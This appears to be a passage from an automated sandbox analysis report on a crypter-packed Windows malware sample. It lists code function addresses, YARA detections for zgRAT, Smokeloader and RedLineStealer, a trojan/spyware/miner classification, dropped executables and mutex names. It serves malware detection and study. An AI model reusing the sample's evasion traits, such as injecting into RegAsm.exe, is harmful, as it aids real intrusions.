Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0047EB60	3_2_0047EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00437B10	3_2_00437B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00434B20	3_2_00434B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00509BD0	3_2_00509BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00433BE0	3_2_00433BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00434D40	3_2_00434D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004CEF10	3_2_004CEF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00440F20	3_2_00440F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004210E0	3_2_004210E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00402100	3_2_00402100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004242B0	3_2_004242B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004213A0	3_2_004213A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00423470	3_2_00423470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00441480	3_2_00441480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D570	3_2_0042D570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00517515	3_2_00517515
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5E0	3_2_0040B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0056359F	3_2_0056359F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0054E59A	3_2_0054E59A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00405640	3_2_00405640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00422640	3_2_00422640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042A660	3_2_0042A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00402630	3_2_00402630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_005446D9	3_2_005446D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00443750	3_2_00443750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00517710	3_2_00517710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00513720	3_2_00513720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00424730	3_2_00424730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00421820	3_2_00421820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041E9E0	3_2_0041E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00562983	3_2_00562983
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0044ABA0	3_2_0044ABA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00425CA0	3_2_00425CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CD50	3_2_0042CD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00550D68	3_2_00550D68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042DD20	3_2_0042DD20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00543D30	3_2_00543D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00552DA0	3_2_00552DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00567E9D	3_2_00567E9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401E90	3_2_00401E90
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Code function: 8_1_004144C9	8_1_004144C9
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Code function: 8_1_0040779F	8_1_0040779F
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Code function: 10_2_00D918F9	10_2_00D918F9
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Code function: 10_2_00D91908	10_2_00D91908
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Code function: 10_2_00D91698	10_2_00D91698
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Code function: 10_2_00D91688	10_2_00D91688
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041B16F	12_2_0041B16F
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004199E9	12_2_004199E9
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416B2C	12_2_00416B2C
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040A04B	12_2_0040A04B
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409009	12_2_00409009
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409037	12_2_00409037
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040A0D0	12_2_0040A0D0
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004090E6	12_2_004090E6
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004090EF	12_2_004090EF
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040D085	12_2_0040D085
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040A0BB	12_2_0040A0BB
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040A168	12_2_0040A168
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409172	12_2_00409172
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409109	12_2_00409109
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040A11F	12_2_0040A11F
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004071CC	12_2_004071CC
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004171DD	12_2_004171DD
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004061F2	12_2_004061F2
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004071A5	12_2_004071A5
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040A24A	12_2_0040A24A
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409254	12_2_00409254
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040825A	12_2_0040825A
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409201	12_2_00409201
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00406226	12_2_00406226
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040A23D	12_2_0040A23D
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004062D8	12_2_004062D8
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040A296	12_2_0040A296
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00408299	12_2_00408299
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004072B2	12_2_004072B2
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041B347	12_2_0041B347
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00419354	12_2_00419354
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040A374	12_2_0040A374
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409316	12_2_00409316
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00406320	12_2_00406320
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00406321	12_2_00406321
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004063C4	12_2_004063C4
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004093D8	12_2_004093D8
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040838B	12_2_0040838B
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004063AB	12_2_004063AB
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004063B8	12_2_004063B8
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040940A	12_2_0040940A
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041B41F	12_2_0041B41F
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040942F	12_2_0040942F
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00408568	12_2_00408568
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004095DE	12_2_004095DE
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004215E5	12_2_004215E5
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409647	12_2_00409647
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041A66B	12_2_0041A66B
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041A60F	12_2_0041A60F
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00405627	12_2_00405627
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00408632	12_2_00408632
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041B6D8	12_2_0041B6D8
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004096DC	12_2_004096DC
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004096E1	12_2_004096E1
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416696	12_2_00416696
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004086A7	12_2_004086A7
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040976E	12_2_0040976E
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409776	12_2_00409776
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040870C	12_2_0040870C
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004087C1	12_2_004087C1
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040D7CD	12_2_0040D7CD
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040D7E7	12_2_0040D7E7
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040D7F2	12_2_0040D7F2
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040D7FB	12_2_0040D7FB
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409845	12_2_00409845
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041A854	12_2_0041A854
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040986A	12_2_0040986A
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041781F	12_2_0041781F
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004098C5	12_2_004098C5
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004098FB	12_2_004098FB
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041A897	12_2_0041A897
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00407945	12_2_00407945
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416901	12_2_00416901
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416918	12_2_00416918
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041A93C	12_2_0041A93C
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_004099AA	12_2_004099AA
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00407A66	12_2_00407A66
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416A03	12_2_00416A03
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409A04	12_2_00409A04
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416A19	12_2_00416A19
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409A32	12_2_00409A32
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409A3B	12_2_00409A3B
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409ADE	12_2_00409ADE
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00407A81	12_2_00407A81
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416B64	12_2_00416B64
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00407B24	12_2_00407B24
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00407B33	12_2_00407B33
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409BC3	12_2_00409BC3
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00407BC8	12_2_00407BC8
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409BE8	12_2_00409BE8
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409B91	12_2_00409B91
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00407B95	12_2_00407B95
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00407BB5	12_2_00407BB5
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040BBB6	12_2_0040BBB6
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00417C01	12_2_00417C01
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040BC80	12_2_0040BC80
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00418CB1	12_2_00418CB1
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0041AD8D	12_2_0041AD8D
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409E7E	12_2_00409E7E
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416E18	12_2_00416E18
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00406EFD	12_2_00406EFD
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_0040DE86	12_2_0040DE86
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409EA3	12_2_00409EA3
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416F64	12_2_00416F64
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416F75	12_2_00416F75
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416F0D	12_2_00416F0D
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00409F15	12_2_00409F15
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416FCA	12_2_00416FCA
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416FDB	12_2_00416FDB
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416FEA	12_2_00416FEA
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00405FF1	12_2_00405FF1
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416F86	12_2_00416F86
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416F97	12_2_00416F97
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00416FA8	12_2_00416FA8
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: 12_2_00405FB5	12_2_00405FB5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Security

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0053F880 appears 39 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004172E0 appears 53 times
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: String function: 00502A87 appears 39 times
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: String function: 004FEDB6 appears 70 times
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: String function: 005029F6 appears 99 times
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Code function: String function: 00502A53 appears 375 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 6948 -ip 6948

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, 00000000.00000000.1502568521.0000000000C94000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemazda.exe0 vs SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, 00000000.00000002.1509746400.0000000002F50000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamePE.dll& vs SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe, 00000000.00000002.1509897036.0000000004B1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0000002B.00000002.2943867641.0000000002A61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000009.00000002.2601636491.0000000002600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000009.00000002.2601921421.000000000283E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000009.00000002.2601604235.00000000025F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000009.00000002.2601573090.0000000002561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23

Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe.2f50000.0.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe.2f50000.0.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@96/142@11/18

Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe

Code function: 9_2_028504FA CreateToolhelp32Snapshot,Module32First,

9_2_028504FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00433600 CoInitializeEx,CoInitializeSecurity,CoUninitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,VariantClear,CoUninitialize,

3_2_00433600

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\KejwopdnfWW_15
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2240:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1708
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Mutant created: \Sessions\1\BaseNamedObjects\IntelPowerEExpert
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6948
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4700:120:WilError_03
